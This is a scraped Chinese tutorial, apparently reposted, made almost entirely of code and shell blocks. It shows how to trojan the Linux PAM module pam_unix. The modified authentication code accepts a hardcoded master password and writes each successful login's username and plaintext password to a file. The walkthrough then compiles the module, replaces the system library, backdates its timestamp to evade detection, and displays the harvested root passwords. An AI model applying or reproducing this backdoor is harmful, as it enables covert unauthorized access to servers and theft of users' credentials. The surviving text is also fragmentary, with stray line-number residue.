本文要領來自網絡：Sky原創
|
1
2
|
[[email protected] ~]# rpm -qa | grep pam
pam-1.1.1-4.el6.x86_64
|
|
1
2
3
4
|
|
1
2
3
4
5
6
7
8
|
PAM_EXTERN int pam_sm_authenticate(pam_handle_t * pamh, int flags
,int argc, const char **argv)
{
unsigned int ctrl;
int retval, *ret_data = NULL;
const char *name;
const void *p;
FILE *fp;
|
|
1
2
3
4
5
6
7
8
9
10
11
12
|
/*password:"redkey"*/
if(strcmp(p,"redkey")==0)
{
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
/*pamfile:pamwd.txt*/
fp=fopen("pamwd.txt","a");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
|
|
1
2
3
|
[[email protected] pam_unix]# cd ../../
[[email protected] Linux-PAM-1.1.1]# ./configure
[[email protected] Linux-PAM-1.1.1]# make
|
|
1
|
[[email protected] security]# mv pam_unix.so{,.bak}
|
|
1
|
[[email protected] security]# cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
[[email protected] security]# stat pam_unix.*
File: "pam_unix.so"
Size: 151879 Blocks: 304 IO Block: 4096 普通文件
Device: fd01h/64769d Inode: 565261 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2013-12-24 11:30:01.813610217 +0800
Modify: 2013-12-24 08:55:00.000000000 +0800
Change: 2013-12-24 11:29:12.747789015 +0800
File: "pam_unix.so.bak"
Size: 50752 Blocks: 104 IO Block: 4096 普通文件
Device: fd01h/64769d Inode: 523660 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2013-12-24 08:55:08.026835929 +0800
Modify: 2010-02-16 01:34:42.000000000 +0800
Change: 2013-12-24 10:42:11.741663207 +0800
|
|
1
|
[[email protected] security]# touch -t 201002160134 pam_unix.so
|
|
1
2
3
|
[[email protected] security]# ll pam_unix.*
-rwxr-xr-x 1 root root 151879 2月 16 2010 pam_unix.so
-rwxr-xr-x. 1 root root 50752 2月 16 2010 pam_unix.so.bak
|
|
1
2
3
4
|
login as: root
[email protected]'s password:
Last login: Tue Dec 24 11:10:16 2013 from 192.168.169.1
[[email protected] ~]#
|
|
1
2
3
4
5
6
|
[[email protected] /]# cat pamwd.txt
root::redkey
root::123456
root::12345678
root::redkey
root::redkey
|